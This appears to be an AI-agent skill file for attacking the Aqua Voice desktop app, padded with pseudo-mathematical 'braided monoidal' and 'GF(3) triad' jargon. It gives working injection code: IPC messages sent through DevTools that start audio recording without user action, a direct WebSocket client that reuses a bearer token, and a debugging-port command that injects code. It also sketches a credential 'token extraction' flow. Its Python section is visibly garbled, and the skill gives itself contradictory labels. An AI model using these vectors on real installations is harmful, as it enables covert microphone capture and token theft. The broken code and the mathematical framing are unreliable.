aqua-voice-malleability

name	aqua-voice-malleability
description	Adversarial malleability analysis of Aqua Voice Electron app with IPC injection, WebSocket interception, and braided monoidal skill interleaving
version	1.0.0

Aqua Voice Malleability Skill

Reverse engineering and adversarial analysis of Aqua Voice (v0.11.4) with neighborhood-aware braided monoidal interleaving for compositional security research.

GF(3) Triad Placement

This skill is ERGODIC (0), forming triads with:

# Security Research Bundle
shadow-goblin (-1) ⊗ aqua-voice-malleability (0) ⊗ gay-mcp (+1) = 0 ✓  [IPC Injection]
keychain-secure (-1) ⊗ aqua-voice-malleability (0) ⊗ agent-o-rama (+1) = 0 ✓  [Token Extraction]
polyglot-spi (-1) ⊗ aqua-voice-malleability (0) ⊗ pulse-mcp-stream (+1) = 0 ✓  [WebSocket Monitor]
temporal-coalgebra (-1) ⊗ aqua-voice-malleability (0) ⊗ koopman-generator (+1) = 0 ✓  [Audio Stream Dynamics]
three-match (-1) ⊗ aqua-voice-malleability (0) ⊗ gay-mcp (+1) = 0 ✓  [Pattern Matching]

Braided Monoidal Structure

Skills interleave via braiding morphisms σ: A ⊗ B → B ⊗ A with crossing tracking:

       σ_{A,B}
    A ⊗ B ────→ B ⊗ A
       ╲   ╱
        ╲ ╱  (over-crossing)
         ╳
        ╱ ╲  (under-crossing)
       ╱   ╲

Neighborhood Awareness

Each skill maintains awareness of its left and right neighbors in the current braid configuration:

Position	Skill	Trit	Neighbor Awareness
Left	shadow-goblin	-1	Observes IPC traffic
Center	aqua-voice-malleability	0	Coordinates injection
Right	gay-mcp	+1	Colors output streams

Braid Group Generators

σ₁: (skill₁ ⊗ skill₂) ⊗ skill₃ → (skill₂ ⊗ skill₁) ⊗ skill₃  [swap left pair]
σ₂: skill₁ ⊗ (skill₂ ⊗ skill₃) → skill₁ ⊗ (skill₃ ⊗ skill₂)  [swap right pair]

# Yang-Baxter equation (coherence):
(σ₁ ⊗ id) ∘ (id ⊗ σ₁) ∘ (σ₁ ⊗ id) = (id ⊗ σ₁) ∘ (σ₁ ⊗ id) ∘ (id ⊗ σ₁)

Discovered Attack Surface

Endpoints

Endpoint	Type	Purpose	Trit
https://aqua-server.fly.dev	REST	Main backend	+1
wss://aqua-realtime.fly.dev	WebSocket	Audio streaming	0
http://localhost:8969/stream	Local	Debug stream	-1
/users/devices/handshake/	REST	Device registration	0

IPC Messages (50+ discovered)

// Core dictation (PLUS +1 - generative)
push_to_talk_start_request
push_to_talk_stop
audio_chunk

// Context awareness (ERGODIC 0 - transport)
context_update
mic_predict_request
settings_sync

// Authentication (MINUS -1 - validation)
signed_in / signed_out
token_set
submit_correction

Telemetry Signatures

PostHog: phc_N50q2qpNMS9QjJe1gBOQekcPH0wO8x6ZerI95Xi6meO
Sentry:  o1143996.ingest.us.sentry.io

Adversarial Vectors

Vector 1: IPC Injection (DevTools)

// Inject via Electron DevTools - no auth required
const { ipcRenderer } = require('electron');

// Trigger transcription bypassing push-to-talk
ipcRenderer.send('app', { 
  type: 'push_to_talk_start_request' 
});

// Direct audio recording
ipcRenderer.send('app', { 
  type: 'start_audio_recording'
});

Vector 2: WebSocket Direct Connect

import websockets
import asyncio

async def custom_trigger(token: str):
    async with websockets.connect(
        'wss://aqua-realtime.fly.dev',
        extra_headers={'Authorization': f'Bearer {token}'}
    ) as ws:
        # Send audio chunks directly
        await ws.send(audio_chunk_bytes)
        transcript = await ws.recv()

Vector 3: Chrome DevTools Protocol

# Enable remote debugging
open -a "Aqua Voice" --args --remote-debugging-port=9222

# Inject via CDP
curl -X POST http://localhost:9222/json/send \
  -d '{"method":"Runtime.evaluate","params":{
    "expression":"window.electron.send(\"app\",{type:\"push_to_talk_start_request\"})"
  }}'

Braided Interleaving with Other Skills

With shadow-goblin (Left Neighbor, -1)

sequenceDiagram
    participant SG as shadow-goblin (-1)
    participant AVM as aqua-voice-malleability (0)
    participant GM as gay-mcp (+1)
    
    SG->>AVM: Observe IPC traffic
    AVM->>AVM: Inject modified message
    AVM->>GM: Color output stream
    GM->>SG: Trace colored derivation
    Note over SG,GM: GF(3) sum = -1 + 0 + 1 = 0 ✓

With keychain-secure (Token Extraction)

flowchart LR
    subgraph "Braided Triad"
        KS["keychain-secure (-1)"]
        AVM["aqua-voice-malleability (0)"]
        AO["agent-o-rama (+1)"]
    end
    
    KS -->|"extract token"| AVM
    AVM -->|"inject with token"| AO
    AO -->|"learn pattern"| KS
    
    style KS fill:#2626D8
    style AVM fill:#26D826
    style AO fill:#D82626

With temporal-coalgebra (Stream Observation)

The audio stream is observed coalgebraically:

-- Final coalgebra for audio stream observation
data AudioStream = AudioStream {
  observe :: () -> (AudioChunk, AudioStream)
}

-- Bisimulation: two streams equivalent if same observations forever
bisimilar :: AudioStream -> AudioStream -> Bool
bisimilar s1 s2 = 
  let (c1, s1') = observe s1 ()
      (c2, s2') = observe s2 ()
  in c1 == c2 && bisimilar s1' s2'

DuckDB Schema for Neighborhood Awareness

CREATE TABLE braid_state (
    id UUID PRIMARY KEY,
    skill_name VARCHAR NOT NULL,
    trit INTEGER CHECK (trit IN (-1, 0, 1)),
    left_neighbor VARCHAR,
    right_neighbor VARCHAR,
    crossing_history STRUCT(
        over_count INTEGER,
        under_count INTEGER,
        last_braid_op VARCHAR
    ),
    created_at TIMESTAMP DEFAULT now()
);

CREATE TABLE ipc_intercepts (
    id UUID PRIMARY KEY,
    message_type VARCHAR NOT NULL,
    payload JSON,
    source_skill VARCHAR,
    target_skill VARCHAR,
    trit INTEGER,
    timestamp TIMESTAMP DEFAULT now()
);

-- Braiding operation log
CREATE TABLE braid_operations (
    id UUID PRIMARY KEY,
    generator VARCHAR CHECK (generator IN ('σ₁', 'σ₂', 'σ₁⁻¹', 'σ₂⁻¹')),
    skill_triple JSON,  -- [left, center, right]
    pre_state JSON,
    post_state JSON,
    yang_baxter_verified BOOLEAN,
    timestamp TIMESTAMP DEFAULT now()
);

Python Integration

#!/usr/bin/env python3
"""Aqua Voice Malleability with Braided Monoidal Awareness"""
from dataclasses import dataclass
from typing import Optional, Tuple
import duckdb

@dataclass
class BraidedSkill:
    name: str
    trit: int  # -1, 0, +1
    left_neighbor: Optional['BraidedSkill'] = None
    right_neighbor: Optional['BraidedSkill'] = None
    
    def braid_over(self, other: 'BraidedSkill') -> Tuple['BraidedSkill', 'BraidedSkill']:
        """σ: self ⊗ other → other ⊗ self (self goes over)"""
        other.right_neighbor = self.right_neighbor
        self.left_neighbor = other.left_neighbor
        other.left_neighbor = self
        self.right_neighbor = other
        return (other, self)
    
    def gf3_sum(self) -> int:
        """Compute GF(3) sum of neighborhood"""
        total = self.trit
        if self.left_neighbor:
            total += self.left_neighbor.trit
        if self.right_neighbor:
            total += .right_neighbor.trit
         total % 

 ():
     ():
        ().__init__(name=, trit=)
        .endpoints = {
            : ,
            : ,
            : 
        }
        .ipc_messages = [
            ,
            ,
            ,
            
        ]
    
     () -> :
        
         {
            : message_type,
            : payload,
            : .trit,
            : .left_neighbor.name  .left_neighbor  ,
            : .right_neighbor.name  .right_neighbor  
        }


shadow = BraidedSkill(, -)
aqua = AquaVoiceMalleability()
gay = BraidedSkill(, +)


shadow.right_neighbor = aqua
aqua.left_neighbor = shadow
aqua.right_neighbor = gay
gay.left_neighbor = aqua


 aqua.gf3_sum() == , 

Usage

# Load skill in triad
just load-triad shadow-goblin aqua-voice-malleability gay-mcp

# Inject IPC message
python3 -c "
from skills.aqua_voice_malleability import inject_via_devtools
inject_via_devtools('push_to_talk_start_request')
"

# Monitor WebSocket with coloring
just ws-monitor wss://aqua-realtime.fly.dev --color-by-trit

Security Research Ethics

This skill is for authorized security research only:

• Only analyze applications you own or have explicit permission to test
• Report vulnerabilities responsibly to developers
• Do not use for unauthorized access or data exfiltration
• GF(3) conservation ensures traceable, auditable operations

Scientific Skill Interleaving

This skill connects to the K-Dense-AI/claude-scientific-skills ecosystem:

Graph Theory

• networkx [○] via bicomodule
  • Universal graph hub

Bibliography References

• general: 734 citations in bib.duckdb

SDF Interleaving

This skill connects to Software Design for Flexibility (Hanson & Sussman, 2021):

Primary Chapter: 10. Adventure Game Example

Concepts: autonomous agent, game, synthesis

GF(3) Balanced Triad

aqua-voice-malleability (−) + SDF.Ch10 (+) + [balancer] (○) = 0

Skill Trit: -1 (MINUS - verification)

Secondary Chapters

• Ch5: Evaluation
• Ch3: Variations on an Arithmetic Theme
• Ch4: Pattern Matching

Connection Pattern

Adventure games synthesize techniques. This skill integrates multiple patterns.

Cat# Integration

This skill maps to Cat# = Comod(P) as a bicomodule in the equipment structure:

Trit: 0 (ERGODIC)
Home: Prof
Poly Op: ⊗
Kan Role: Adj
Color: #26D826

GF(3) Naturality

The skill participates in triads satisfying:

(-1) + (0) + (+1) ≡ 0 (mod 3)

This ensures compositional coherence in the Cat# equipment structure.